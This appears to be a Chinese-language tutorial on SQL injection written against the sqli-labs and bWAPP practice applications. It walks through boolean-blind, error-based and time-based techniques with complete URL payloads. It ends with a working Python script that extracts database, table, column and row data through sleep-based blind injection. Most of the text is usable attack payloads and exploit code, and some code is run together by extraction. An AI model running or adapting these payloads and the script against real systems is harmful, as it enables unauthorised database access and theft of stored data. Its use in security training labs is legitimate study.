增:insert into tableName(columnName1,columnName2) values(value1,value2)
删:delete from tableName where …
改:update tableName set columnName=value where …
查:select * from tableName where …
3) Information_schema数据库基本表说明:
schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。具体表可通过phpstudy中MySQL管理器查看。
tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables fromschemaName的结果就是从该表得出。
columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。
根据提示加入id参数在url中,可以看到他不再像前面报错注入一样回显有效信息,而是一段you are in…的字符串。如果输入正确提示you are in…输入错误则会报错。同样我们加入单引号,可以看到报错了,报错信息中提示我们输入的id参数使用单引号闭合,我们后面加入注释符即可注释掉原本后面的SQL语句。
可以利用ascii及substr函数来判断substr所截取的字符串的ascii码值为多少,得出当前的字母,可以利用二分法快一点,同时也可直接利用burpsuite来爆破出当前值,当然也可以写脚本自己跑出来。http://localhost/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100–+这里limit 0,1意味着取第一张表,如果我们想爆破第二张表即可使用limit 1,1 同时这里使用substr(str,start,length)函数截取的是字符串的第一个字符,若想截取第二个字符即可使用substr(str,2,1)依此类推。当我们取到第三张表,对其进行爆破时我们发现它的表名为users。
这时我们可以利用regexp正则匹配来获取users表中的列名。http://localhost/sqli-labs-master/Less-5/?id=1‘ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^us[a-z]’ limit 0,1)–+将正则匹配到最后时即’^username’正确,即得到列名。也可尝试’^password’发现同样返回正确。如果想确定就是这个列名可使用’^username$’。
爆出列名之后,我们可以开始尝试试试对应列的值,这儿又使用其他的函数ord(),mid(),IFNULL(),CAST(),其中ord函数相当于ascii函数,求得最左边字符的ascii码;mid函数相当于substr函数,截取一段字符;IFNULL(a,b)函数是来判断,若a为空则返回b,若a不为空则返回a;CAST(str AS int)将字符串转换为目标数据类型,我们可以这样构造URL:http://localhost/sqli-labs-master/Less-5/?id=1‘ and ord(mid((select ifnull(cast(username as char),0x20) from users order by id limit 0,1),1,1))=68–+
2.首先报错注入,这里会列举floor()、extractvalue()、updatexml()、NAME_CONST()四种函数进行演示。这次使用floor函数, http://localhost/sqli-labs-master/Less-6/?id=1“ and (select 1 from (select count(*),(concat(database(),0x7e,floor(rand(0)**2)))x from information_schema.tables group by x)a)–+
7.接下来可以试试benchmark函数,http://localhost/sqli-labs-master/Less-6/?id=1“ union select (if(substring(db,1,1)=char(115),benchmark(10000000,sha(1)),null)),2,3 from (select database() as db) as a–+
echo'<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo"</br></font>"; echo'<font color= "#0000ff" font size= 3>';
echo'<font size="5" color="#FFFF00">'; echo'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo"</br></font>"; echo'<font color= "#0000ff" font size= 3>';
}
无论是否出错都会显示出you are in…故我们也不能通过基于布尔型的盲注,通过语句构建正确错误时页面的不同展示来判断了,只能使用最后一招延时注入。
这个延迟注入我的相应都是两秒,不知道为啥,那倒是sql语句输入错了?
3.延时注入,首先猜测表名:http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,1,sleep(5))–+ 得到第三张表的表名第一个字符为u,此处报错才延时5秒,若猜对直接返回。
第二个字符:http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=115,1,sleep(5))–+ 得到第三张表的表名第二个字符为s
依次往下走,可以得出第三张表的表名为users。
4.得到表名之后猜取列名。http://localhost/sqli-labs-master/Less-9/?id=1‘ and if(ascii(substr((select column_name from information_schema.columns where table_name=’users’ and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))–+ 得到users表中第一列的列名的第一个字符为i
echo'<font size="5" color="#FFFF00">'; echo'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo"</br></font>"; echo'<font color= "#0000ff" font size= 3>';
# 获取数据库名长度 defget_length_of_database(): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and length(database())=%d and sleep(1) -- &action=search" % ( ip_port, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i = i + 1
# 获取数据库名字 defget_name_of_database(): # 获取数据库名长度 length_of_database = get_length_of_database() name_of_database = "" for j inrange(1, length_of_database): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and ascii(substr(database(),%d,1))=%d and sleep(1) -- &action=search" % ( ip_port, j, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: name_of_database += chr(k) break return name_of_database
# 获取指定库中表的数量 defget_count_of_tables(): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.tables where table_schema=database())=%d and sleep(1) -- &action=search" % ( ip_port, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i = i + 1
# 获取指定库所有表的表名长度的列表 defget_length_list_of_tables(): # 获取指定库中表的数量 count_of_tables = get_count_of_tables() length_list = [] for i inrange(0, count_of_tables): j = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, i, j) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: length_list.append(j) break j = j + 1 return length_list
# 获取指定库中的所有表名列表 defget_tables(): # 获取指定库中表的数量 count_of_tables = get_count_of_tables() # 获取指定库所有表的表名长度的列表 length_list = get_length_list_of_tables() name_of_tables = [] for i inrange(0, count_of_tables): name = "" for j inrange(0, length_list[i]): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((table_name),%d,1)) from information_schema.tables where table_schema=database() limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, j + 1, i, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: name += chr(k) break name_of_tables.append(name) return name_of_tables
# 获取指定表中列的数量 defget_count_of_columns(name_of_table): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select count(*) from information_schema.columns where table_schema=database() and table_name=\"%s\")=%d and sleep(1) -- &action=search" % ( ip_port, name_of_table, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i += 1
# 获取指定表所有列的列名长度 defget_length_list_of_columns(name_of_table): count_of_columns = get_count_of_columns(name_of_table) length_list = [] for i inrange(0, count_of_columns): j = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_table, i, j) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: length_list.append(j) break j = j + 1 return length_list
# 获取指定表的所有列的列名 defget_columns(name_of_table): count_of_columns = get_count_of_columns(name_of_table) length_list = get_length_list_of_columns(name_of_table) columns = [] for i inrange(0, count_of_columns): name = "" for j inrange(0, length_list[i]): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((column_name),%d,1)) from information_schema.columns where table_schema=database() and table_name=\"%s\" limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, j + 1, name_of_table, i, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: name += chr(k) break columns.append(name) return columns
# 获取指定表指定列名数据个数 defget_count_of_datas(name_of_table, name_of_column): i = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select count(%s) from %s)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_column, name_of_table, i) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: return i i += 1
# 获取指定表指定列名数据长度列表 defget_length_list_of_datas(name_of_table, name_of_column): count_of_datas = get_count_of_datas(name_of_table, name_of_column) length_list = [] for i inrange(0, count_of_datas): j = 1 whileTrue: url = "http://%s/sqli_15.php?title=World War Z' and (select length(%s) from %s limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_column, name_of_table, i, j) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: length_list.append(j) break j += 1 return length_list
# 爆破数据 defget_datas(name_of_table, name_of_column): count_of_datas = get_count_of_datas(name_of_table, name_of_column) length_list = get_length_list_of_datas(name_of_table, name_of_column) datas = [] for i inrange(count_of_datas): data = "" for j inrange(length_list[i]): for k inrange(33, 128): url = "http://%s/sqli_15.php?title=World War Z' and (select ascii(substr((%s),%d,1)) from %s limit %d,1)=%d and sleep(1) -- &action=search" % ( ip_port, name_of_column, j + 1, name_of_table, i, k) startTime = time.time() rsq = session.get(url) endTime = time.time() ga = endTime - startTime if ga > 1: data += chr(k) break datas.append(data) return datas
defmain(): print("Judging the database...") print() print("Getting the table name...") tables = get_tables() for i in tables: print("[+]%s" % (i)) print("The table names in this database are:%s" % (tables)) table = input("Select the Table name:") if table notin tables: print("Error!") exit() print() print("Getting the column names in the %s table......" % (table)) columns = get_columns(table) for i in columns: print("[+]%s" % (i)) whileTrue: print("The column name in %s are:%s" % (table, columns)) column = input("Select the Column name:") if column notin columns: print("Error!") exit() print() print("Getting the datas......") datas = get_datas(table, column) for i in datas: print("[+]%s" % (i)) choice = input("是否结束?Y/N") if choice == 'Y'or choice =='y': break